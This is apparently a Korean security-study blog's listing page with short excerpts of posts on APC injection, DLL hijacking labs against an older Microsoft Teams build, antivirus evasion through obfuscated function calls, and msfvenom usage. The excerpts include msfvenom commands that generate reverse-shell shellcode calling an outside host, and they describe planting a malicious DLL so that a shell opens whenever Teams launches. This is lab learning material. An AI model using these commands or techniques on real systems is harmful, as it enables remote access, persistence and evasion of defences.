3. APC(Asynchronous Procedure Call) Injection
·
System/침투
APC(Asynchronous Procedure Call) https://so106037.tistory.com/363 APC (Asynchronous procedure call) 참고 # Windows 시스템 프로그래밍 제 3판 JOHNSON M. HART 저 # Micosoft 설명서 (링크) APC (Asynchronous procedure call) 1. 개념 - 인자를 전달받아 바로 호출하는 SPC(Synchronous Procedure Calls) 함수와 달리, APC 는 so106037.tistory.com APC Injection 참고 및 출처: MITRE-ATT&CK 공격자들은 프로세스 기반 방어를 회피하고 권한을 높이기 위해 APC queue를 사용하여 악성코드를 프로세스에 인젝션할 수 ..
Metasploit msfvenom 통한 쉘코드 생성
·
System/침투
msfvenom 메타스플로잇 프레임워크에 포함되어있는 도구. exploit 실행 파일, 쉘코드 생성 가능 // payloads 관련 모듈 리스트 확인 가능 msfvenom -l payloads [example] 리버스 쉘을 위한 쉘코드 작성 (출력 형식 : c언어) msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.123.123.123 LPORT=4444 -f c format list (-f 옵션) 실행 가능한 포맷 변환 가능한 포맷 asp aspx aspx-exe axis2 dll ducky-script-psh elf elf-so exe exe-only exe-service exe-small hta-psh jar jsp loop-vbs macho msi m..
APC (Asynchronous procedure call)
·
System/OS
참고 # Windows 시스템 프로그래밍 제 3판 JOHNSON M. HART 저 # Micosoft 설명서 (링크) APC (Asynchronous procedure call) 1. 개념 - 인자를 전달받아 바로 호출하는 SPC(Synchronous Procedure Calls) 함수와 달리, APC 는 특정 스레드의 컨텍스트에서 실행되기 위해 queue 에 삽입되는 비동기적으로 실행되는 함수임 - 정규 실행 경로를 실행하기 전에 스레드가 다른 코드를 실행하도록 하는 것이 가능 - 모든 스레드는 스레드에 첨부된 APC queue 를 가짐. - 시스템 전체에 걸쳐 있는 DPC queue 와는 달리 APC queue 는 스레드 별로 독립적으로 존재한다. ① 스레드가 alertable wait 상태일 때 애..
DLL Hijacking 실습 (4) - 리버스 쉘
·
System/침투
DLL Hijacking 실습 (4) - 리버스 쉘 실습환경: windows 10 21H2 64bit 실습대상: microsoft team v.1.3.00.24758 실습도구: gcc, procmon, vscode 1.660, visual studio 2022 17.1.1 참고: (링크) 실습 (3)에 이어서.. MS Teams가 실행될 떄마다 reverse TCP shell이 실행되도록 할 것이다. 하이잭할 DLL은 cscapi.dll ① 악성 페이로드 생성 우선, payload에 넣어 줄 리버스 쉘 데이터가 필요하다. 메타스플로잇 프레임워크에 포함된 msfvenom을 통해 페이로드를 생성한다. (msfvenom 관련 게시글) msfvenom -p windows/x64/shell_reverse_tcp ..
DLL Hijacking 실습 (3)
·
System/침투
DLL hijacking 실습 (3) 실습환경: windows 10 21H2 64bit 실습대상: microsoft team v.1.3.00.24758 실습도구: gcc, procmon, vscode 1.660, visual studio 2022 17.1.1 참고: (링크) Teams 구버전을 대상으로 실습할 것. 필터링 걸어서 결과값이 NAME NOT FOUND인 DLL 확인 1트 ① DWrite.dll 하이잭 그냥 C:\ 경로에서 검색해서 찾았다. ② dll_stealing_fuc.py 스크립트 실행해서 def만들기. ③ evildll.cpp 컴파일 with DWrite.dll ④ MS Teams 폴더 (Teams.exe가 존재하는 폴더) 에 넣어주기 ⑤ MS Teams 실행 안된다. 쉽지않다. 2트..
DLL Hijacking 실습 (1)
·
System/침투
DLL Hijacking 이란? https://so106037.tistory.com/357 2. DLL Hijacking 출처: MITRE ATT&CK DLL Hijacking Tactics: 지속(Persistence), 권한 상승(Privilege Escalation), 방어 회피(Defense Evasion) Mitigations: 감사(Audit), 실행 방지(Execution Prevention) 라이브러리란? - 코드 내 반복되는 기능을 매 so106037.tistory.com 해당 실습은 ⑤ 응용프로그램의 디렉터리 대상으로 진행한다. 옵션 미사용 + Known dll file 지정하지 않았다면, 응용프로그램이 존재하는 디렉터리가 첫번째 우선순위이다. 그렇기에 하이재킹을 쉽게 실습할 수 있다...
Obfuscating Function Call
·
System/OS
공부 사이트: cocomelonc 블로그 모든 PE module은 일반적으로 외부 함수를 사용한다. → 실행중일 때 프로세스 메모리에 매핑되는 외부 DLL에 존재하는 모든 함수를 호출. → 프로세스 코드에서 이러한 함수들을 사용할 수 있도록 함. AntiVirus 는 악성 프로그램이 외부 DLL과 함수를 사용하는 것을 분석하는데, 이는 해당 바이너리가 악의적인 행위를 하는지를 알아내는 지표가 될 수 있다. → AV 엔진은 임포트 주소를 조사함으로써 디스크상의 PE 파일을 분석한다. → 무적은 아니지만 효과가 있긴 하니까 많은 AV 엔진이 사용함. 이를 우회하기 위해 할 수 있는 것은, "함수 호출을 난독화" 하는 것이다. Obfuscating Function Call 런타임 도중 호출되는 DLL 및 외부..
2. DLL Hijacking
·
System/침투
출처: MITRE ATT&CK DLL Hijacking Tactics: 지속(Persistence), 권한 상승(Privilege Escalation), 방어 회피(Defense Evasion) Mitigations: 감사(Audit), 실행 방지(Execution Prevention) 라이브러리란? - 코드 내 반복되는 기능을 매번 작성하기 귀찮으니.. 해당 로직들을 따로 모아둔 파일이다. 표준화된 함수와 데이터 타입들을 만들어둔 것. - 링커에 의해 링크될 수 있도록 보통 컴파일된 형태인 목적코드(object code) 형태로 존재하며, 컴파일 되어 있기 때문에 컴파일 시간이 단축. - 해당 파일을 include 시 자유롭게 사용 가능함. - 크게 동적 라이브러리와 정적 라이브러리로 나뉜다. 구분 특..